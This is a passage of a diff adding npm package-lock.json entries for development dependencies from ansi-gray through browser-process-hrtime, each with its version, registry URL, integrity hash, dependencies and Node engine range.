+ "integrity": "sha512-eCjan3AVo/SxZ0/MyIYRtkpxIu/H3xZN7URr1vXVrISxeyz8fUFz0FJziamK4sS8I+t35y4rHg1b2PklyBe/7A==",
+ "dev": true,
+ "dependencies": {
+ "ansi-wrap": "0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ansi-gray": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-gray/-/ansi-gray-0.1.1.tgz",
+ "integrity": "sha512-HrgGIZUl8h2EHuZaU9hTR/cU5nhKxpVE1V6kdGsQ8e4zirElJ5fvtfc8N7Q1oq1aatO275i8pUFUCpNWCAnVWw==",
+ "dev": true,
+ "dependencies": {
+ "ansi-wrap": "0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ansi-red": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-red/-/ansi-red-0.1.1.tgz",
+ "integrity": "sha512-ewaIr5y+9CUTGFwZfpECUbFlGcC0GCw1oqR9RI6h1gQCd9Aj2GxSckCnPsVJnmfMZbwFYE+leZGASgkWl06Jow==",
+ "dev": true,
+ "dependencies": {
+ "ansi-wrap": "0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/ansi-wrap": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-wrap/-/ansi-wrap-0.1.0.tgz",
+ "integrity": "sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/any-promise": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
+ "dev": true
+ },
+ "node_modules/anymatch": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
+ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
+ "dev": true,
+ "dependencies": {
+ "micromatch": "^3.1.4",
+ "normalize-path": "^2.1.1"
+ }
+ },
+ "node_modules/anymatch/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "dependencies": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/anymatch/node_modules/normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+ "dev": true,
+ "dependencies": {
+ "remove-trailing-separator": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/append-buffer": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/append-buffer/-/append-buffer-1.0.2.tgz",
+ "integrity": "sha512-WLbYiXzD3y/ATLZFufV/rZvWdZOs+Z/+5v1rBZ463Jn398pa6kcde27cvozYnBoxXblGZTFfoPpsaEw0orU5BA==",
+ "dev": true,
+ "dependencies": {
+ "buffer-equal": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/append-transform": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/append-transform/-/append-transform-2.0.0.tgz",
+ "integrity": "sha512-7yeyCEurROLQJFv5Xj4lEGTy0borxepjFv1g22oAdqFu//SrAlDl1O1Nxx15SH1RoliUml6p8dwJW9jvZughhg==",
+ "dev": true,
+ "dependencies": {
+ "default-require-extensions": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/archy": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz",
+ "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==",
+ "dev": true
+ },
+ "node_modules/arg": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
+ "dev": true
+ },
+ "node_modules/argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+ "dev": true
+ },
+ "node_modules/arr-diff": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+ "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/arr-filter": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/arr-filter/-/arr-filter-1.1.2.tgz",
+ "integrity": "sha512-A2BETWCqhsecSvCkWAeVBFLH6sXEUGASuzkpjL3GR1SlL/PWL6M3J8EAAld2Uubmh39tvkJTqC9LeLHCUKmFXA==",
+ "dev": true,
+ "dependencies": {
+ "make-iterator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/arr-flatten": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
+ "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/arr-map": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/arr-map/-/arr-map-2.0.2.tgz",
+ "integrity": "sha512-tVqVTHt+Q5Xb09qRkbu+DidW1yYzz5izWS2Xm2yFm7qJnmUfz4HPzNxbHkdRJbz2lrqI7S+z17xNYdFcBBO8Hw==",
+ "dev": true,
+ "dependencies": {
+ "make-iterator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/arr-union": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
+ "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-each": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz",
+ "integrity": "sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-from": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/array-from/-/array-from-2.1.1.tgz",
+ "integrity": "sha512-GQTc6Uupx1FCavi5mPzBvVT7nEOeWMmUA9P95wpfpW1XwMSKs+KaymD5C2Up7KAUKg/mYwbsUYzdZWcoajlNZg==",
+ "dev": true
+ },
+ "node_modules/array-initial": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/array-initial/-/array-initial-1.1.0.tgz",
+ "integrity": "sha512-BC4Yl89vneCYfpLrs5JU2aAu9/a+xWbeKhvISg9PT7eWFB9UlRvI+rKEtk6mgxWr3dSkk9gQ8hCrdqt06NXPdw==",
+ "dev": true,
+ "dependencies": {
+ "array-slice": "^1.0.0",
+ "is-number": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-initial/node_modules/is-number": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz",
+ "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-last": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/array-last/-/array-last-1.3.0.tgz",
+ "integrity": "sha512-eOCut5rXlI6aCOS7Z7kCplKRKyiFQ6dHFBem4PwlwKeNFk2/XxTrhRh5T9PyaEWGy/NHTZWbY+nsZlNFJu9rYg==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-last/node_modules/is-number": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz",
+ "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-slice": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz",
+ "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-sort": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/array-sort/-/array-sort-1.0.0.tgz",
+ "integrity": "sha512-ihLeJkonmdiAsD7vpgN3CRcx2J2S0TiYW+IS/5zHBI7mKUq3ySvBdzzBfD236ubDBQFiiyG3SWCPc+msQ9KoYg==",
+ "dev": true,
+ "dependencies": {
+ "default-compare": "^1.0.0",
+ "get-value": "^2.0.6",
+ "kind-of": "^5.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-sort/node_modules/kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/array-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/array-unique": {
+ "version": "0.3.2",
+ "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+ "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/assertion-error": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz",
+ "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/assign-symbols": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
+ "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/async-done": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/async-done/-/async-done-1.3.2.tgz",
+ "integrity": "sha512-uYkTP8dw2og1tu1nmza1n1CMW0qb8gWWlwqMmLb7MhBVs4BXrFziT6HXUd+/RlRA/i4H9AkofYloUbs1fwMqlw==",
+ "dev": true,
+ "dependencies": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.2",
+ "process-nextick-args": "^2.0.0",
+ "stream-exhaust": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/async-each": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.6.tgz",
+ "integrity": "sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ]
+ },
+ "node_modules/async-settle": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/async-settle/-/async-settle-1.0.0.tgz",
+ "integrity": "sha512-VPXfB4Vk49z1LHHodrEQ6Xf7W4gg1w0dAPROHngx7qgDjqmIQ+fXmwgGXTW/ITLai0YLSvWepJOP9EVpMnEAcw==",
+ "dev": true,
+ "dependencies": {
+ "async-done": "^1.2.2"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/asynckit": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+ "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
+ "dev": true
+ },
+ "node_modules/atob": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+ "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
+ "dev": true,
+ "bin": {
+ "atob": "bin/atob.js"
+ },
+ "engines": {
+ "node": ">= 4.5.0"
+ }
+ },
+ "node_modules/autoprefixer": {
+ "version": "10.4.14",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.14.tgz",
+ "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+ }
+ ],
+ "dependencies": {
+ "browserslist": "^4.21.5",
+ "caniuse-lite": "^1.0.30001464",
+ "fraction.js": "^4.2.0",
+ "normalize-range": "^0.1.2",
+ "picocolors": "^1.0.0",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "bin": {
+ "autoprefixer": "bin/autoprefixer"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.1.0"
+ }
+ },
+ "node_modules/babel-plugin-polyfill-corejs2": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.3.tgz",
+ "integrity": "sha512-NDZ0auNRzmAfE1oDDPW2JhzIMXUk+FFe2ICejmt5T4ocKgiQx3e0VCRx9NCAidcMtL2RUZaWtXnmjTCkx0tcbA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/compat-data": "^7.13.11",
+ "@babel/helper-define-polyfill-provider": "^0.2.4",
+ "semver": "^6.1.1"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/babel-plugin-polyfill-corejs3": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz",
+ "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-define-polyfill-provider": "^0.2.2",
+ "core-js-compat": "^3.16.2"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/babel-plugin-polyfill-regenerator": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.3.tgz",
+ "integrity": "sha512-JVE78oRZPKFIeUqFGrSORNzQnrDwZR16oiWeGM8ZyjBn2XAT5OjP+wXx5ESuo33nUsFUEJYjtklnsKbxW5L+7g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-define-polyfill-provider": "^0.2.4"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/bach": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/bach/-/bach-1.2.0.tgz",
+ "integrity": "sha512-bZOOfCb3gXBXbTFXq3OZtGR88LwGeJvzu6szttaIzymOTS4ZttBNOWSv7aLZja2EMycKtRYV0Oa8SNKH/zkxvg==",
+ "dev": true,
+ "dependencies": {
+ "arr-filter": "^1.1.1",
+ "arr-flatten": "^1.0.1",
+ "arr-map": "^2.0.0",
+ "array-each": "^1.0.0",
+ "array-initial": "^1.0.0",
+ "array-last": "^1.1.1",
+ "async-done": "^1.2.2",
+ "async-settle": "^1.0.0",
+ "now-and-later": "^2.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+ "dev": true
+ },
+ "node_modules/base": {
+ "version": "0.11.2",
+ "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
+ "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
+ "dev": true,
+ "dependencies": {
+ "cache-base": "^1.0.1",
+ "class-utils": "^0.3.5",
+ "component-emitter": "^1.2.1",
+ "define-property": "^1.0.0",
+ "isobject": "^3.0.1",
+ "mixin-deep": "^1.2.0",
+ "pascalcase": "^0.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/base/node_modules/define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/base/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/base/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/base/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/binary-extensions": {
+ "version": "1.13.1",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
+ "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/bindings": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
+ "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
+ "dev": true,
+ "optional": true,
+ "dependencies": {
+ "file-uri-to-path": "1.0.0"
+ }
+ },
+ "node_modules/bluebird": {
+ "version": "3.7.2",
+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+ "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==",
+ "dev": true
+ },
+ "node_modules/brace-expansion": {
+ "version": "1.1.11",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+ "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+ "dev": true,
+ "dependencies": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "node_modules/braces": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+ "dev": true,
+ "dependencies": {
+ "arr-flatten": "^1.1.0",
+ "array-unique": "^0.3.2",
+ "extend-shallow": "^2.0.1",
+ "fill-range": "^4.0.0",
+ "isobject": "^3.0.1",
+ "repeat-element": "^1.1.2",
+ "snapdragon": "^0.8.1",
+ "snapdragon-node": "^2.0.1",
+ "split-string": "^3.0.2",
+ "to-regex": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/browser-process-hrtime": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
